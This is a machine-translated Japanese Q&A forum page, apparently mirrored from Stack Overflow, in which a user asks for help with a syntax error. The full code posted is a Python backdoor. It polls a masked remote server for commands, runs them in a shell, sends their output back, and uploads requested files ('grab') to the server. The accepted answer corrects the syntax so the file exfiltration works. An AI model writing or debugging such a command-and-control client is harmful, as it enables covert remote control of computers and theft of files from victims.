2017-08-29 5 views
1

私のpython 3.5でのモジュールは、私はこれらの行で「無効なシンテックスを」というエラーを取得していますリクエストでPOSTメソッドを使用してファイルを送信しようとしています、送信ファイル[エラー:無効なシンテックス]

files = ('file':open(path,'rb')) 
    r = requests.post(('htttp://#########', files= files)) 

フルコードは次のとおりです。おそらく、この欲しい

import requests 
import subprocess 
import time 
import os 

while True: 
    req = requests.get('htttp://########') 
    command = req.text 
    if 'terminate' in command: 
     break 
    elif 'grab' in command: 
     grab,path = command.split('*') 
     if os.path.exists(path): 
      url = 'http://#########/store' 
      files = ('file':open(path,'rb')) 
      r = requests.post(('htttp://#########', files= files)) 
     else: 
      post_request = requests.post(url='htttp://#########',data='[-] 
      Unable to find file !') 
    else: 
    CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE, 
    stdin=subprocess.PIPE,stdout=subprocess.PIPE) 
    post_request=requests.post(url='htttp://########',data=CMD.stdout.read()) 
    post_request = requests.post(url= 'htttp://######', 
        data=CMD.stderr.read()) 

    time.sleep(3) 
+0

あなたの最初の行は正しいpython構文ではありません、何をしようとしていますか?これがディクテーションでなければならない場合は、括弧の代わりに中括弧が必要です – Axnyff

答えて

-1

files = {'file': open(path, 'rb')} 
r = requests.post('htttp://#########', files=files) 

dict sが、中括弧ではなく、括弧を使用して作成され、あなたはrequests.postへのお電話でのパラメータの周りに余分な括弧を持っていました。

+0

ありがとうございます。 –

関連する問題